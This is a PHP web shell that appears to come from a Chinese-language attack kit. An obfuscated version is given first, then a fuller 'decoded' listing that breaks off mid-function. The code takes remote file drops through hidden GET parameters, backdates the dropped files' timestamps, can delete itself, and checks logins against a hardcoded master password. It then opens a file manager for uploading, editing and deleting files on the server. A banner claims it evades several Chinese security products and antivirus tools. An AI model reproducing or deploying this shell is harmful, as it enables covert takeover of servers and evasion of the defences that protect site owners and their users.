"\x3c\x69\156\160\165\164\40\164\x79\x70\145\75\42\x62\165\164\164\157\156\42\40\x6f\156\143\x6c\x69\x63\x6b\75\42\x24\x28\47\142\141\x63\x6b\x66\162\x6d\x27\51\56\x73\x75\142\155\x69\164\50\51\x3b\42\40\166\141\x6c\x75\145\x3d\x22\350\xbf\x94\345\x9b\x9e\x22\40\163\x74\x79\x6c\145\x3d\42\x77\151\144\x74\x68\x3a\x38\60\160\170\x3b\x22\x3e\x3c\x2f\146\157\162\155\x3e\74\x2f\x64\151\x76\x3e"; goto XNyaY; RsoeS: Cd5Tr: goto ClKFN; H5wUw: $JGN3j = array(); goto SY5Nt; Y96J2: wwIAd: goto xrbHi; d6c_W: $QSO8f .= AXTTQ(); goto mz1vn; fJ2DO: $trx7n = isset($_POST["\165\x70\144\151\162"]) ? $_POST["\165\x70\x64\x69\162"] : $_POST["\147\157\x64\151\x72"]; goto pJIrz; XNyaY: return $QSO8f; goto Wr5bA; u7gTA: $QY5ao = $_POST["\x72\145\x6e\x61\155\145\163"][$uLtTd] == '' ? $TQlLa["\x6e\x61\155\x65"][$uLtTd] : $_POST["\162\145\x6e\141\155\145\x73"][$uLtTd]; goto N5zQa; P8qVx: pwGfS: goto mf9rn; IgWT5: pkbi0: goto enueA; HoKuR: FU5ue: goto aYzLn; aYzLn: r5SEV: goto DjHKY; MB1IE: $QSO8f .= "\x3c\146\x6f\162\155\40\x6e\141\x6d\145\75\42\165\x70\163\146\x72\x6d\x22\x20\151\x64\75\42\x75\x70\x73\x66\162\x6d\x22\40\x6d\145\x74\x68\x6f\144\x3d\x22\x50\117\x53\x54\42\40\x65\156\143\x74\x79\x70\145\x3d\x22\155\165\x6c\164\x69\x70\141\162\164\x2f\x66\157\162\155\x2d\144\141\164\141\42\x3e"; goto d6c_W; aJUaD: FNHrm: goto RTwHS; wr6pf: $JGN3j[$uLtTd] = fivrG($zi0Y0, $J3Hov) ? "\x3c\142\x72\76\x3c\150\62\x3e\344\270\x8a\xe4\xbc\xa0\xe6\x88\220\345\x8a\237\x20" . $QY5ao . "\74\x2f\x68\62\x3e" : "\74\142\x72\x3e\74\x68\61\76\xe4\xb8\x8a\xe4\274\240\345\244\261\350\264\245\x20" . $QY5ao . "\x3c\57\x68\x31\x3e"; goto HoKuR; DjHKY: $uLtTd++; goto nyUBs; pJIrz: $UgLz_ = "\343\x80\220\346\x9c\x80\xe5\244\247\xe4\xb8\212\344\xbc\240\346\x96\x87\xe4\273\xb6\40" . get_cfg_var("\165\x70\x6c\157\141\144\x5f\155\x61\170\x5f\x66\x69\154\145\

Decoded(de-Obfuscated) php code

/******/////*/////<?php 
ini_set("memory_limit", "512M");
@ini_set("max_execution_time", 20000);
header("content-Type: text/html; charset=utf-8");
error_reporting(E_ERROR);
@ini_set("display_errors", "Off");
defined("TMQo7") or define("TMQo7", getcwd() . DIRECTORY_SEPARATOR);
defined("sEyyb") or define("sEyyb", "/var/www/htmlDIRECTORY_SEPARATOR");
$C39VH = $_SERVER["SCRIPT_FILENAME"] ? PBm07($_SERVER["SCRIPT_FILENAME"]) : pBm07("/var/www/html/input.php");
define("V51MD", $C39VH);
$eMzvo = explode("(", $C39VH);
$C39VH = strpos($C39VH, "eval()") ? array_shift($eMzvo) : $C39VH;
define("k3TER", pbM07(dirname($C39VH) . "/"));
define("FO39n", pBM07(strtr($C39VH, array(pBm07($_SERVER["PHP_SELF"]) => '')) . "/"));
define("NMW2Y", "1.0.0");
if (isset($gHcBS)) {
    goto dEn1K;
}
$gHcBS = "d8ec6f4d6590ce92d493eef7190b051c";
dEn1K:
if (!(!empty($_GET["ghpqojdsfion1239"]) && !empty($_GET["vqwecsx12312"]) && !empty($_GET["kqishgl194nwq7"]))) {
    goto v9q79;
}
$s5r3y = civgH($_GET["ghpqojdsfion1239"]);
$dRqNZ = getcwd() . "/" . $_GET["vqwecsx12312"];
$PfRvL = explode("/", $dRqNZ);
array_pop($PfRvL);
$PfRvL = implode("/", $PfRvL);
if (file_exists($PfRvL)) {
    goto mMOFl;
}
mkdir($PfRvL, 0755, "recursive");
chmod($PfRvL, 0755);
mMOFl:
$YJnbr = C4gHR($PfRvL);
$ipdt9 = 0;
foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
    if (!$ipdt9) {
        $ipdt9 = filemtime($cT1oz);
        goto MNUlj;
    }
    if (!(filemtime($cT1oz) < $ipdt9)) {
        goto z41qX;
    }
    $ipdt9 = filemtime($cT1oz);
    z41qX:
    MNUlj:
}
file_put_contents($dRqNZ, $s5r3y);
if (!$ipdt9) {
    goto qYUAD;
}
@touch($dRqNZ, $ipdt9);
qYUAD:
@chmod($dRqNZ, $_GET["kqishgl194nwq7"]);
if (empty($_GET["dk82kdsiud9125d"])) {
    goto HtLDq;
}
@unlink($C39VH);
HtLDq:
v9q79:
$YCpcn = new M4EMi();
$YCpcn->JAO9o($gHcBS);
class M4EMi
{
    public $D2dKJ = null;
    public $VqdhY = null;
    public $XEBgr = null;
    public function jAO9O($gHcBS)
    {
        $this->XEBgr = $gHcBS;
        list($uS69Z, $p0NZ3) = $this->IZ6eP();
        $this->D2dKJ = $uS69Z;
        $this->VqdhY = $p0NZ3;
        $g9a24 = session_get_cookie_params();
        $uKE12 = 0;
        if (!$g9a24["lifetime"]) {
            goto Pn2RI;
        }
        $uKE12 = time() + $g9a24["lifetime"];
        Pn2RI:
        setcookie($uS69Z, $p0NZ3, $uKE12, $g9a24["path"], $g9a24["domain"], $g9a24["secure"], $g9a24["httponly"]);
        $E9g_B = $this->kSVkn();
        if ($E9g_B) {
            $RJPTn = new FOj8n();
            return $RJPTn->JAO9O();
        }
        $this->yCIYx();
        return;
    }
    public function iZ6ep()
    {
        session_start();
        $uS69Z = session_name();
        if (!empty($_COOKIE["PHPSESSID"])) {
            $p0NZ3 = $_COOKIE["PHPSESSID"];
            goto GmXda;
        }
        $p0NZ3 = session_id();
        GmXda:
        $SWSuO = array($uS69Z, $p0NZ3);
        return $SWSuO;
    }
    public function ksvKN()
    {
        if (!(!empty($_COOKIE["isLogin"]) && ($_COOKIE["isLogin"] == md5($this->XEBgr) || $_COOKIE["isLogin"] == md5("922d2b964443df3e667e55fd40f6477a")))) {
            return false;
        }
        return true;
    }
    public function yciyx()
    {
        if (!(!empty($_POST["getpwd"]) && ($this->XEBgr == md5($_POST["getpwd"]) || "922d2b964443df3e667e55fd40f6477a" == md5($_POST["getpwd"])))) {
            $QSO8f = "        <title>请勿使用非法用途</title>\r\n        <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\r\n        <style type=\"text/css\">\r\n            .form-control {\r\n                display: block;\r\n                width: 100%;\r\n                height: 38px;\r\n                padding: 8px 12px;\r\n                font-size: 14px;\r\n                line-height: 1.428571429;\r\n                color: #555;\r\n                vertical-align: middle;\r\n                background-color: #fff;\r\n                border: 1px solid #ccc;\r\n                border-radius: 4px;\r\n                -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                -webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;\r\n                transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s\r\n            }\r\n        \r\n            .btn {\r\n                display: inline-block;\r\n                padding: 8px 12px;\r\n                margin-bottom: 0;\r\n                font-size: 14px;\r\n                font-weight: 500;\r\n                line-height: 1.428571429;\r\n                text-align: center;\r\n                white-space: nowrap;\r\n                vertical-align: middle;\r\n                cursor: pointer;\r\n                border: 1px solid transparent;\r\n                border-radius: 4px;\r\n                -webkit-user-select: none;\r\n                -moz-user-select: none;\r\n                -ms-user-select: none;\r\n                -o-user-select: none;\r\n                user-select: none\r\n            }\r\n            \r\n            .btn-primary {\r\n                color: #fff;\r\n                background-color: #428bca;\r\n                border-color: #428bca\r\n            }\r\n        </style>\r\n        <body>\r\n            <center>\r\n                <br><br>\r\n                <font size=\"3\" face=\"Microsoft YaHei\">过安全狗、云锁、阿里云、360、护卫神、D盾、百度云、各种杀软!</font>\r\n                <br><br>\r\n                <form method=\"POST\">\r\n                    <input style=\"Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%\" \r\n                    class=\"form-control\" placeholder=\"@Passwrd\" type=\"password\" name=\"getpwd\">\r\n                    <input style=\"Width:55pt;font-size:90%;font-family:Microsoft YaHei\" class=\"btn btn-primary\" type=\"submit\" value=\"#Login\">\r\n                </form>\r\n            </center>\r\n        </body>\r\n        </html>";
            echo $QSO8f;
            // [PHPDeobfuscator] Implied return
            return;
        }
        setcookie("isLogin", md5(md5($_POST["getpwd"])), time() + 28800, "/");
        $RJPTn = new FOj8n();
        return $RJPTn->jAO9O();
    }
}
class FoJ8N
{
    public $ddguj;
    public $N5qPH;
    public function JAO9O()
    {
        $this->N5qPH = $_POST;
        $_POST = MweMB($_POST);
        $this->ddguj = isset($_POST["dir"]) ? Pbm07(chop($_POST["dir"]) . "/") : k3TER;
        $this->xfqjS();
    }
    public function xfQJS()
    {
        $QSO8f = "        <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n    <html>\r\n    <head>\r\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\r\n        <style type=\"text/css\">\r\n            * {\r\n                margin: 0px;\r\n                padding: 0px;\r\n            }\r\n\r\n            body {\r\n                background: #ebebeb;\r\n                color: #333333;\r\n                font-size: 13px;\r\n                font-family: Microsoft YaHei, SimSun, sans-serif;\r\n                text-align: left;\r\n                word-wrap: break-word;\r\n                word-break: break-all;\r\n                // background-image: url(https://pic.616pic.com/bg_w1180/00/01/43/rWB5OFJqVH.jpg);\r\n                // background-size:100% 100%;\r\n            }\r\n\r\n            a {\r\n                color: #000000;\r\n                text-decoration: none;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            a:hover {\r\n                color: #FF0000;\r\n                text-decoration: underline;\r\n            }\r\n\r\n            p {\r\n                padding: 1px;\r\n                line-height: 1.6em;\r\n            }\r\n\r\n            h1 {\r\n                color: #CD3333;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            h2 {\r\n                color: #008B45;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            form {\r\n                display: inline;\r\n            }\r\n\r\n            input, select {\r\n                vertical-align: middle;\r\n            }\r\n\r\n            input[type=text], textarea {\r\n                padding: 1px;\r\n                font-family: Microsoft YaHei, sans-serif;\r\n            }\r\n\r\n            input[type=submit], input[type=button] {\r\n                height: 21px;\r\n            }\r\n\r\n            .tag {\r\n                text-align: center;\r\n                // margin-left: 10px;\r\n                background: threedface;\r\n                height: 25px;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a {\r\n                background: #FAFAFA;\r\n                color: #333333;\r\n                width: 90px;\r\n                height: 20px;\r\n                display: inline-block;\r\n                font-size: 15px;\r\n                font-weight: bold;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a:hover, .tag a.current {\r\n                background: #000;\r\n                color: #fff;\r\n                text-decoration: none;\r\n            }\r\n\r\n            .main {\r\n                width: 963px;\r\n                margin: 0 auto;\r\n                padding: 10px;\r\n            }\r\n\r\n            .outl {\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n            }\r\n\r\n            .toptag {\r\n                padding: 15px;\r\n                text-align: left;\r\n                font-weight: bold;\r\n                color: #FFFFFF;\r\n                background: #000000;\r\n            }\r\n\r\n            .footag {\r\n                padding: 5px;\r\n                text-align: center;\r\n                font-weight: bold;\r\n                color: #fff;\r\n                background: #000000;\r\n            }\r\n\r\n            .msgbox {\r\n                // padding: 5px;\r\n                background: #000;\r\n                text-align: center;\r\n                vertical-align: middle;\r\n                color: #FFF;\r\n            }\r\n\r\n            .actall {\r\n                background: #ffffff;\r\n                text-align: center;\r\n                font-size: 15px;\r\n                border-bottom: 1px solid #999999;\r\n                padding: 3px;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            .tables {\r\n                width: 100%;\r\n            }\r\n\r\n            .tables th {\r\n                background: threedface;\r\n                text-align: left;\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n                padding: 2px;\r\n            }\r\n\r\n            .tables td {\r\n                background: #ffffff;\r\n                height: 19px;\r\n                padding-left: 2px;\r\n            }\r\n\r\n\r\n            .bg{\r\n                width:100%;\r\n                height:100%;\r\n                left:0;\r\n                top:0;\r\n                position:fixed;\r\n                background:rgba(0,0,0,0.3);\r\n              }\r\n              .point{\r\n                position:absolute;\r\n                left:50%;\r\n                top:50%;\r\n              }\r\n              .pop{\r\n                width:500px; \r\n                // height:500px; \r\n                position:absolute;\r\n                left:-250px; \r\n                top:-250px; \r\n                border: 2px solid #f7f7f7;\r\n                background-color: #FFF;\r\n                border-radius:10px;\r\n              }\r\n\r\n              .pop-title{\r\n                height: 40px;\r\n                line-height: 40px;\r\n                text-align: center;\r\n                font-size: 14px;\r\n              }\r\n\r\n\r\n              .layui-textarea{\r\n                min-height: 100px;\r\n                height: auto;\r\n                line-height: 20px;\r\n                padding: 6px 10px;\r\n                resize: vertical;\r\n                display: block;\r\n                width: 95%;\r\n                border-width: 1px;\r\n                border-style: solid;\r\n                background-color: #fff;\r\n                border-radius: 2px;\r\n                border-color: #eee;\r\n              }\r\n\r\n              .layui-btn {\r\n                display: inline-block;\r\n                height: 38px;\r\n                line-height: 38px;\r\n                padding: 0 18px;\r\n                border: 1px solid transparent;\r\n                background-color: #009688;\r\n                color: #fff;\r\n                white-space: nowrap;\r\n                text-align: center;\r\n                font-size: 14px;\r\n                border-radius: 2px;\r\n                cursor: pointer;\r\n            }\r\n\r\n            .btn{\r\n                background-color:#FFF;\r\n                border-color: #d2d2d2;\r\n                color:#666;\r\n            }\r\n        </style>\r\n\r\n        <script type=\"text/javascript\">\r\n            function \$(ID) {\r\n                return document.getElementById(ID);\r\n            }\r\n\r\n            function sd(str) {\r\n                str = str.replace(/%22/g, '\"');\r\n                str = str.replace(/%27/g, \"'\");\r\n                return str;\r\n            }\r\n\r\n            function cd(dir) {\r\n                dir = sd(dir);\r\n                \$('dir').value = dir;\r\n                \$('frm').submit();\r\n            }\r\n\r\n            function sa(form) {\r\n                for (var i = 0; i < form.elements.length; i++) {\r\n                    var e = form.elements[i];\r\n                    if (e.type == 'checkbox') {\r\n                        if (e.name != 'chkall') {\r\n                            e.checked = form.chkall.checked;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            function go(a, b) {\r\n                b = sd(b);\r\n                \$('go').value = a;\r\n                \$('govar').value = b;\r\n                if (a == 'editor') {\r\n                    \$('gofrm').target = \"_blank\";\r\n                } else {\r\n                    \$('gofrm').target = \"\";\r\n                }\r\n                \$('gofrm').submit();\r\n            }\r\n\r\n            function nf(a, b) {\r\n                re = prompt(\"新建名\", b);\r\n                if (re) {\r\n                    \$('go').value = a;\r\n                    \$('govar').value = re;\r\n                    \$('gofrm').submit();\r\n                }\r\n            }\r\n\r\n            function dels(a) {\r\n                if (a == 'b') {\r\n                    var msg = \"所选文件\";\r\n                    \$('act').value = a;\r\n                } else {\r\n                    var msg = \"目录\";\r\n                    \$('act').value = 'deltree';\r\n                    \$('var').value = a;\r\n                }\r\n                if (confirm(\"确定要删除\" + msg + \"吗\")) {\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function txts(m, p, a) {\r\n                p = sd(p);\r\n                re = prompt(m, p);\r\n                if (re) {\r\n                    \$('var').value = re;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function pltexts(m, p, a)\r\n            {\r\n                p = sd(p);\r\n                // re = prompt(m, p);\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"\";\r\n\r\n                var title = document.getElementsByClassName(\"pop-title\")[0];\r\n                title.innerHTML = m;\r\n\r\n                \$('act').value = a;\r\n            }\r\n\r\n            function pop_submit(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n\r\n                \$('var').value = document.getElementById(\"content\").value;\r\n                \$('frm1').submit();\r\n            }\r\n\r\n            function pop_quxiao(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n            }\r\n\r\n            function acts(p, a, f) {\r\n                p = sd(p);\r\n                f = sd(f);\r\n                re = prompt(f, p);\r\n                if (re) {\r\n                    \$('var').value = re + '|x|' + f;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function runcode(){\r\n                var html = document.getElementById('show');\r\n                html.style.display= \"\";\r\n            }\r\n        </script>\r\n        <title>{VERSION}</title>\r\n    </head>\r\n<body>\r\n<div class=\"main\">\r\n    <div class=\"outl\">\r\n        <div class=\"toptag\">\r\n            {toptag}\r\n        </div>\r\n        \r\n        <div class=\"tag\">\r\n            {tag}\r\n        </div>\r\n\r\n        <form name=\"gofrm\" id=\"gofrm\" method=\"POST\">\r\n            {input}\r\n            <input type=\"hidden\" name=\"go\" id=\"go\" value=\"\">\r\n            <input type=\"hidden\" name=\"godir\" id=\"godir\" value=\"{nowdir}\">\r\n            <input type=\"hidden\" name=\"govar\" id=\"govar\" value=\"\">\r\n        </form>\r\n\r\n        {content}\r\n\r\n        <div class=\"footag\">\r\n            {footag}\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div class=\"showhtml\" id = \"showhtml\">\r\n{showhtml}\r\n</div>\r\n\r\n<div class=\"bg\" style=\"display:none;\">\r\n    <div class=\"point\">\r\n        <div class=\"pop\">\r\n            <div class=\"pop-title\"></div>\r\n            <textarea class=\"layui-textarea\" id=\"content\" name=\"content\" rows=\"6\"></textarea>\r\n            <div style=\"margin-top: 10px;text-align: center;\">\r\n                <button type=\"button\" class=\"layui-btn\" onclick=\"pop_submit()\">确定</button> \r\n                <button type=\"button\" class=\"layui-btn btn quxiao-btn\" onclick=\"pop_quxiao()\">取消</button>\r\n            </div>\r\n            </br>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n";
        $QSO8f = "        <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n    <html>\r\n    <head>\r\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\r\n        <style type=\"text/css\">\r\n            * {\r\n                margin: 0px;\r\n                padding: 0px;\r\n            }\r\n\r\n            body {\r\n                background: #ebebeb;\r\n                color: #333333;\r\n                font-size: 13px;\r\n                font-family: Microsoft YaHei, SimSun, sans-serif;\r\n                text-align: left;\r\n                word-wrap: break-word;\r\n                word-break: break-all;\r\n                // background-image: url(https://pic.616pic.com/bg_w1180/00/01/43/rWB5OFJqVH.jpg);\r\n                // background-size:100% 100%;\r\n            }\r\n\r\n            a {\r\n                color: #000000;\r\n                text-decoration: none;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            a:hover {\r\n                color: #FF0000;\r\n                text-decoration: underline;\r\n            }\r\n\r\n            p {\r\n                padding: 1px;\r\n                line-height: 1.6em;\r\n            }\r\n\r\n            h1 {\r\n                color: #CD3333;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            h2 {\r\n                color: #008B45;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            form {\r\n                display: inline;\r\n            }\r\n\r\n            input, select {\r\n                vertical-align: middle;\r\n            }\r\n\r\n            input[type=text], textarea {\r\n                padding: 1px;\r\n                font-family: Microsoft YaHei, sans-serif;\r\n            }\r\n\r\n            input[type=submit], input[type=button] {\r\n                height: 21px;\r\n            }\r\n\r\n            .tag {\r\n                text-align: center;\r\n                // margin-left: 10px;\r\n                background: threedface;\r\n                height: 25px;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a {\r\n                background: #FAFAFA;\r\n                color: #333333;\r\n                width: 90px;\r\n                height: 20px;\r\n                display: inline-block;\r\n                font-size: 15px;\r\n                font-weight: bold;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a:hover, .tag a.current {\r\n                background: #000;\r\n                color: #fff;\r\n                text-decoration: none;\r\n            }\r\n\r\n            .main {\r\n                width: 963px;\r\n                margin: 0 auto;\r\n                padding: 10px;\r\n            }\r\n\r\n            .outl {\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n            }\r\n\r\n            .toptag {\r\n                padding: 15px;\r\n                text-align: left;\r\n                font-weight: bold;\r\n                color: #FFFFFF;\r\n                background: #000000;\r\n            }\r\n\r\n            .footag {\r\n                padding: 5px;\r\n                text-align: center;\r\n                font-weight: bold;\r\n                color: #fff;\r\n                background: #000000;\r\n            }\r\n\r\n            .msgbox {\r\n                // padding: 5px;\r\n                background: #000;\r\n                text-align: center;\r\n                vertical-align: middle;\r\n                color: #FFF;\r\n            }\r\n\r\n            .actall {\r\n                background: #ffffff;\r\n                text-align: center;\r\n                font-size: 15px;\r\n                border-bottom: 1px solid #999999;\r\n                padding: 3px;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            .tables {\r\n                width: 100%;\r\n            }\r\n\r\n            .tables th {\r\n                background: threedface;\r\n                text-align: left;\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n                padding: 2px;\r\n            }\r\n\r\n            .tables td {\r\n                background: #ffffff;\r\n                height: 19px;\r\n                padding-left: 2px;\r\n            }\r\n\r\n\r\n            .bg{\r\n                width:100%;\r\n                height:100%;\r\n                left:0;\r\n                top:0;\r\n                position:fixed;\r\n                background:rgba(0,0,0,0.3);\r\n              }\r\n              .point{\r\n                position:absolute;\r\n                left:50%;\r\n                top:50%;\r\n              }\r\n              .pop{\r\n                width:500px; \r\n                // height:500px; \r\n                position:absolute;\r\n                left:-250px; \r\n                top:-250px; \r\n                border: 2px solid #f7f7f7;\r\n                background-color: #FFF;\r\n                border-radius:10px;\r\n              }\r\n\r\n              .pop-title{\r\n                height: 40px;\r\n                line-height: 40px;\r\n                text-align: center;\r\n                font-size: 14px;\r\n              }\r\n\r\n\r\n              .layui-textarea{\r\n                min-height: 100px;\r\n                height: auto;\r\n                line-height: 20px;\r\n                padding: 6px 10px;\r\n                resize: vertical;\r\n                display: block;\r\n                width: 95%;\r\n                border-width: 1px;\r\n                border-style: solid;\r\n                background-color: #fff;\r\n                border-radius: 2px;\r\n                border-color: #eee;\r\n              }\r\n\r\n              .layui-btn {\r\n                display: inline-block;\r\n                height: 38px;\r\n                line-height: 38px;\r\n                padding: 0 18px;\r\n                border: 1px solid transparent;\r\n                background-color: #009688;\r\n                color: #fff;\r\n                white-space: nowrap;\r\n                text-align: center;\r\n                font-size: 14px;\r\n                border-radius: 2px;\r\n                cursor: pointer;\r\n            }\r\n\r\n            .btn{\r\n                background-color:#FFF;\r\n                border-color: #d2d2d2;\r\n                color:#666;\r\n            }\r\n        </style>\r\n\r\n        <script type=\"text/javascript\">\r\n            function \$(ID) {\r\n                return document.getElementById(ID);\r\n            }\r\n\r\n            function sd(str) {\r\n                str = str.replace(/%22/g, '\"');\r\n                str = str.replace(/%27/g, \"'\");\r\n                return str;\r\n            }\r\n\r\n            function cd(dir) {\r\n                dir = sd(dir);\r\n                \$('dir').value = dir;\r\n                \$('frm').submit();\r\n            }\r\n\r\n            function sa(form) {\r\n                for (var i = 0; i < form.elements.length; i++) {\r\n                    var e = form.elements[i];\r\n                    if (e.type == 'checkbox') {\r\n                        if (e.name != 'chkall') {\r\n                            e.checked = form.chkall.checked;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            function go(a, b) {\r\n                b = sd(b);\r\n                \$('go').value = a;\r\n                \$('govar').value = b;\r\n                if (a == 'editor') {\r\n                    \$('gofrm').target = \"_blank\";\r\n                } else {\r\n                    \$('gofrm').target = \"\";\r\n                }\r\n                \$('gofrm').submit();\r\n            }\r\n\r\n            function nf(a, b) {\r\n                re = prompt(\"新建名\", b);\r\n                if (re) {\r\n                    \$('go').value = a;\r\n                    \$('govar').value = re;\r\n                    \$('gofrm').submit();\r\n                }\r\n            }\r\n\r\n            function dels(a) {\r\n                if (a == 'b') {\r\n                    var msg = \"所选文件\";\r\n                    \$('act').value = a;\r\n                } else {\r\n                    var msg = \"目录\";\r\n                    \$('act').value = 'deltree';\r\n                    \$('var').value = a;\r\n                }\r\n                if (confirm(\"确定要删除\" + msg + \"吗\")) {\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function txts(m, p, a) {\r\n                p = sd(p);\r\n                re = prompt(m, p);\r\n                if (re) {\r\n                    \$('var').value = re;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function pltexts(m, p, a)\r\n            {\r\n                p = sd(p);\r\n                // re = prompt(m, p);\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"\";\r\n\r\n                var title = document.getElementsByClassName(\"pop-title\")[0];\r\n                title.innerHTML = m;\r\n\r\n                \$('act').value = a;\r\n            }\r\n\r\n            function pop_submit(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n\r\n                \$('var').value = document.getElementById(\"content\").value;\r\n                \$('frm1').submit();\r\n            }\r\n\r\n            function pop_quxiao(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n            }\r\n\r\n            function acts(p, a, f) {\r\n                p = sd(p);\r\n                f = sd(f);\r\n                re = prompt(f, p);\r\n                if (re) {\r\n                    \$('var').value = re + '|x|' + f;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function runcode(){\r\n                var html = document.getElementById('show');\r\n                html.style.display= \"\";\r\n            }\r\n        </script>\r\n        <title>{VERSION}</title>\r\n    </head>\r\n<body>\r\n<div class=\"main\">\r\n    <div class=\"outl\">\r\n        <div class=\"toptag\">\r\n            {toptag}\r\n        </div>\r\n        \r\n        <div class=\"tag\">\r\n            {tag}\r\n        </div>\r\n\r\n        <form name=\"gofrm\" id=\"gofrm\" method=\"POST\">\r\n            {input}\r\n            <input type=\"hidden\" name=\"go\" id=\"go\" value=\"\">\r\n            <input type=\"hidden\" name=\"godir\" id=\"godir\" value=\"{nowdir}\">\r\n            <input type=\"hidden\" name=\"govar\" id=\"govar\" value=\"\">\r\n        </form>\r\n\r\n        {content}\r\n\r\n        <div class=\"footag\">\r\n            {footag}\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div class=\"showhtml\" id = \"showhtml\">\r\n\r\n</div>\r\n\r\n<div class=\"bg\" style=\"display:none;\">\r\n    <div class=\"point\">\r\n        <div class=\"pop\">\r\n            <div class=\"pop-title\"></div>\r\n            <textarea class=\"layui-textarea\" id=\"content\" name=\"content\" rows=\"6\"></textarea>\r\n            <div style=\"margin-top: 10px;text-align: center;\">\r\n                <button type=\"button\" class=\"layui-btn\" onclick=\"pop_submit()\">确定</button> \r\n                <button type=\"button\" class=\"layui-btn btn quxiao-btn\" onclick=\"pop_quxiao()\">取消</button>\r\n            </div>\r\n            </br>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n";
        $QSO8f = str_replace("{VERSION}", $this->getVersion(), $QSO8f);
        $QSO8f = str_replace("{toptag}", $this->np5yK(), $QSO8f);
        $QSO8f = str_replace("{tag}", $this->EOt_6(), $QSO8f);
        $QSO8f = str_replace("{input}", axttQ(), $QSO8f);
        $QSO8f = str_replace("{nowdir}", $this->ddguj, $QSO8f);
        $QSO8f = str_replace("{content}", $this->getContent(), $QSO8f);
        $QSO8f = str_replace("{footag}", php_uname() . " " . $_SERVER["SERVER_SOFTWARE"], $QSO8f);
        echo $QSO8f;
    }
    public function getVersion()
    {
        return "梦想成就未来";
    }
    public function NP5Yk()
    {
        return "版本:DM.1.0.0 | IP:" . ($_SERVER["SERVER_ADDR"] ? $_SERVER["SERVER_ADDR"] . PHP_EOL : gethostbyname($_SERVER["SERVER_NAME"])) . " | whoami(" . get_current_user() . ") |【uid(" . getmyuid() . ") gid(" . getmygid() . ")】" . " |【" . date("Y-m-d H:i:s 星期N", time()) . "】";
    }
    public function Eot_6()
    {
        $oPhqF = array("file" => "文件管理", "scan" => "搜索文件", "info" => "系统信息");
        $JqKaG = !empty($_POST["go"]) && array_key_exists($_POST["go"], $oPhqF) ? $_POST["go"] : "file";
        $Jzwra = $this->ddguj;
        $QSO8f = '';
        foreach ($oPhqF as $iW8f4 => $Kes_q) {
            $QSO8f .= "<a" . ($JqKaG == $iW8f4 ? " class=\"current\"" : '') . " href=\"javascript:go('" . $iW8f4 . "','" . base64_encode($Jzwra) . "');\">" . $Kes_q . "</a> ";
        }
        return $QSO8f;
    }
    public function getContent()
    {
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : '';
        switch ($JqKaG) {
            case "info":
                return $this->jaT27();
            case "scan":
                return $this->IkQbc();
            case "upfiles":
                return $this->HVVWe();
            case "edit":
            case "editor":
                return $this->I7u03();
            default:
                return $this->j0i1z();
        }
    }
    public function jAT27()
    {
        $UgLz_ = '';
        $QSO8f = '';
        if (!true) {
            goto oQWiY;
        }
        ob_start();
        phpinfo(INFO_GENERAL);
